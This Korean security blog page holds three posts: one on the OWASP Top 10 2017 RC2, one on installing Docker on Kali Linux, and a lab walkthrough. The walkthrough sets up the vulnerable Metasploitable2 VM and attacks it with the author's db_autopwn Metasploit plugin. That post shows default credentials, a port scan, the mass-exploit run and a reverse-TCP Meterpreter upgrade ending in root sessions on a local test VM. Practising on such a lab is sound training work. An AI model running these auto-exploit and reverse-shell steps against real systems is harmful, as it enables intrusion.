이번 RC2는 개인적으로 만족스럽습니다. 매번 일을 하면서 XXE와 Deserialize Vulnerability에 대한 위험성과 중요도를 많이 느꼈었고 이 친구들이 다음 OWASP에라도 올라왔으면 하는 바램이 있었습니다.

새로 추가된 3개의 항목은 굉장히 중요합니다. A4. A8과 같은 기술에 대해선 잘 숙지하고 A10 같이 조금 넓은 의미에 대한 항목 또한 어떻게 테스팅할건지, 좋은 방안으로 사용될 수 있는지 연구가 필요할 것 같네요.


※ 추가
지금 보니깐 CSRF가 빠졌네요? 좀 놀라운데.. 순위가 그렇다쳐도 XSS,CSRF는 아주 중요한 취약점인데 빠졌다는건 의외네요.
개인적으론.. CSRF가 다시 포함되었으면 하는 바램입니다.

Reference

https://github.com/OWASP/Top10/blob/master/2017/OWASP%20Top%2010%202017%20RC2%20Final.pdf

Share: | Coffee Me:

10/22/2017

[LINUX] Install docker on kali linux(칼리 리눅스에서 도커 설치하기)

Kali Linux 에선 기본 패키지 매니저에 있는 docker 사용이 불가능합니다.
그러다 보니 직접 source.list를 추가하고 dockerproject에서 docker 설치가 필요합니다.

살짝 Virtualbox 설치하는 것과 비슷비슷하죠.

Install!

먼저 인증서 처리를 위해 dirmngr를 비롯한 몇가지 패키지를 설치해줍니다.

#> apt-get install -y apt-transport-https ca-certificates
#> apt-get install dirmngr

그다음 키 처리 후 apt source.list에 docker repo를 추가합니다.

#> apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 \
--recv-keys 58118E89F3A912897C070ADBF76221572C52609D

#> echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > \
/etc/apt/sources.list.d/docker.list

잘 들어갔네요.

#> cat /etc/apt/sources.list.d/docker.list
deb https://apt.dockerproject.org/repo debian-stretch main

이제 apt를 업데이트 해주고 docker-engine을 설치해줍니다.

#> apt-get update
#> apt-cache search docker-engine
#> apt-get install docker-engine



#> docker


Reference

Share: | Coffee Me:

10/20/2017

[HACKING] 가상 침투 환경 구성을 위한 metasploitable2 설치(feat db_autopwn 성능 테스트)

가상 환경에서의 침투테스트. 어떻게 생각하시나요?

분명 실제 상황과 느낌도 다르고 불안한감도 없어 장난감 같은 느낌이 들겁니다. 사람이 미리 취약하게 만들어둔 시스템을 공격하는게 무슨 의미가 있는가 라는 질문도 받습니다.

목검은 다듬어진 나무지만 누가쥐느냐에 따라 다릅니다. 숙련된 사람이라면 분명 목검만으로도 굉장한 위력을 보여줄 수 있겠죠. 마찬가지로 가상환경에서의 반복적인 연습이 실제 침투에 속도와 정확성 등 도움이 될 부분이 많다고 생각합니다.

쓸데없는 서론은 치우고 시작해봅시다 :)

오늘은 잘 만들어진 가상환경에 대해 이야기할까 합니다. 바로 metasploitable입니다.

metasploitable2 설치

metasploitable은 metasploit 측에서 제공하는 취약한 VM입니다. 연습용 가상머신으로 보면 좋지요.
이것저것 가지고 놀기에 심플하고 좋으니 하나의 환경으로 애용해주면 좋을 것 같네요.

현재 metasploitable은 소스포지에서 다운로드가 가능합니다.
https://sourceforge.net/projects/metasploitable/

접속 후 파일을 다운로드합니다. 압축을 해제하면 vmdk와 여러 가상머신 파일이 나옵니다. Vmware 기준으로 만들어졌기 때문에 Vmware를 사용하시는 분은 바로 로드하시면 되고 VirtualBox 유저는 vdi로 변환해서 가상머신에 올려주시면 됩니다.

#> unzip metasploitable-linux-2.0.0.zip
#> cd Metasploitable2-Linux


※ VirtualBox 
#> vboxmanage clonehd --format VDI Metasploitable.vmdk Metasploitable.vdi
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
Clone medium created in format 'VDI'. UUID: 28f85d3e-c1ed-4ff9-b09f-091f66758dd0

vdi 파일로 변경하였으면 이제 VirtualBox에서 사용할 수 있기 때문에 가상머신을 만들어줍니다.
하드디스크만 해당 vdi 파일로 적용해주시면 되요.

metasploitable 계정정보는 아래와 같습니다. 물론 알아도 그만 몰라도 그만이지만요.
user: msfadmin
pass: msfadmin


※ 주의 / 답안지 느낌이니 안보시는걸 추천(혹시라도 궁금할때 보세요)
Exploing Guide
https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide

끝났습니다. 로그인해서 ip 정보 확인하고 바로 침투를 시작하면 됩니다.
(대충봐도 무지 많다!)

host            port  proto  name          state  info
----            ----  -----  ----          -----  ----
192.168.56.101  21    tcp    ftp           open 
192.168.56.101  22    tcp    ssh           open   SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
192.168.56.101  23    tcp    telnet        open 
192.168.56.101  25    tcp    smtp          open   220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

192.168.56.101  53    tcp    domain        open 
192.168.56.101  80    tcp    http          open   Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
192.168.56.101  111   tcp    rpcbind       open 
192.168.56.101  139   tcp    netbios-ssn   open 
192.168.56.101  445   tcp    microsoft-ds  open 
192.168.56.101  512   tcp    exec          open 
192.168.56.101  513   tcp    login         open 
192.168.56.101  514   tcp    shell         open 
192.168.56.101  1099  tcp    java-rmi      open   Java RMI Registry
192.168.56.101  1524  tcp    ingreslock    open 
192.168.56.101  2049  tcp    nfs           open 
192.168.56.101  2121  tcp    ccproxy-ftp   open 
192.168.56.101  3306  tcp    mysql         open   5.0.51a-3ubuntu5
192.168.56.101  5432  tcp    postgres      open   PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
192.168.56.101  5900  tcp    vnc           open   VNC protocol version [3, 4].3
192.168.56.101  6000  tcp    x11           open 
192.168.56.101  6667  tcp    irc           open 
192.168.56.101  8009  tcp    ajp13         open 
192.168.56.101  8180  tcp    unknown       open 

db_autopwn install 

8월쯤에 autopwn 관련해서 글 작성한적이 있습니다.
http://www.hahwul.com/2017/08/metasploit-automatic-exploit-attack.html

관련 github
https://github.com/hahwul/metasploit-db_autopwn

성능테스트 해볼겸 사용해봅시다.

먼저 autopwn을 Metasploit 플러그인으로 넣어둡니다. (autopwn의 위험성으로 공식 배포에선 빠졌습니다)

#> git clone https://github.com/hahwul/metasploit-db_autopwn
#> cd metasploit-db_autopwn
#> mv db_autopwn.rb [metasploit_directory]/plugin

or

#> wget https://raw.githubusercontent.com/hahwul/metasploit-db_autopwn/master/db_autopwn.rb
#> mv db_autopwn.rb [metasploit_directory]/plugin

불러보면..

HAHWUL exploit(ghost_glibc_remote_exploit) > load db_autopwn
[*] Successfully loaded plugin: db_autopwn



[*] Usage: db_autopwn [options]
-h          Display this help text
-t          Show all matching exploit modules
-x          Select modules based on vulnerability references
-p          Select modules based on open ports
-e          Launch exploits against all matched targets
-r          Use a reverse connect shell
-b          Use a bind shell on a random port (default)
-q          Disable exploit module output
-R  [rank]  Only run modules with a minimal rank
-I  [range] Only exploit hosts inside this range
-X  [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m  [regex] Only run modules whose name matches the regex
-T  [secs]  Maximum runtime for any exploit in seconds

잘되네요.

exploit! autopwn!

테스트를 해봅시다.

HAHWUL exploit(ghost_glibc_remote_exploit) > db_autopwn -p -R great -e -q 192.168.56.101
[-] The db_autopwn command is DEPRECATED
[-] See http://r-7.co/xY65Zr instead
[*] (1/533 [0 sessions]): Launching exploit/freebsd/ftp/proftp_telnet_iac against 192.168.56.101:21...
[*] (2/533 [0 sessions]): Launching exploit/linux/ftp/proftp_sreplace against 192.168.56.101:21...
[*] (3/533 [0 sessions]): Launching exploit/linux/ftp/proftp_telnet_iac against 192.168.56.101:21...
[*] (4/533 [0 sessions]): Launching exploit/multi/ftp/wuftpd_site_exec_format against 192.168.56.101:21...
[*] (5/533 [0 sessions]): Launching exploit/unix/ftp/proftpd_133c_backdoor against 192.168.56.101:21...
[*] (6/533 [0 sessions]): Launching exploit/unix/ftp/vsftpd_234_backdoor against 192.168.56.101:21...
[*] (7/533 [0 sessions]): Launching exploit/windows/ftp/easyftp_cwd_fixret against 192.168.56.101:21...
[*] (8/533 [0 sessions]): Launching exploit/windows/ftp/easyftp_list_fixret against 192.168.56.101:21...
[*] (9/533 [0 sessions]): Launching exploit/windows/ftp/easyftp_mkd_fixret against 192.168.56.101:21...

....

*]  >> autopwn module timeout from exploit/linux/http/pineapple_preconfig_cmdinject after 151.61710667610168 seconds
[*]  >> autopwn module timeout from exploit/linux/http/webcalendar_settings_exec after 150.63282704353333 seconds
[*]  >> autopwn module timeout from exploit/linux/http/trueonline_p660hn_v1_rce after 150.87934255599976 seconds
[*] (533/533 [1 sessions]): Waiting on 136 launched modules to finish execution...
[*]  >> autopwn module timeout from exploit/linux/http/sophos_wpa_sblistpack_exec after 151.77907156944275 seconds
[*]  >> autopwn module timeout from exploit/linux/http/pandora_fms_exec after 152.29020595550537 seconds

중간중간 잡힙니다. 결과는....


2개 잡혀있네요. 아예 못잡는건 아니지만 생각보단 잘 찾지 못하네요.

HAHWUL exploit(ghost_glibc_remote_exploit) > use post/multi/manage/shell_to_meterpreter
HAHWUL post(shell_to_meterpreter) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
HAHWUL post(shell_to_meterpreter) > set SESSION 2
SESSION => 2
HAHWUL post(shell_to_meterpreter) > run

[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.56.1:4433
[*] Sending stage (826872 bytes) to 192.168.56.101
[*] Meterpreter session 3 opened (192.168.56.1:4433 -> 192.168.56.101:48732) at 2017-10-20 23:40:14 +0900
[*] Command stager progress: 100.00% (736/736 bytes)
[*] Post module execution completed
HAHWUL post(shell_to_meterpreter) > 
HAHWUL post(shell_to_meterpreter) > sessions -l

Active sessions
===============

  Id  Type                   Information                                                Connection
  --  ----                   -----------                                                ----------
  2   shell cmd/unix                                                                    192.168.56.1:38018 -> 192.168.56.101:19274 (192.168.56.101)
  3   meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain  192.168.56.1:4433 -> 192.168.56.101:48732 (192.168.56.101)

Share: | Coffee Me: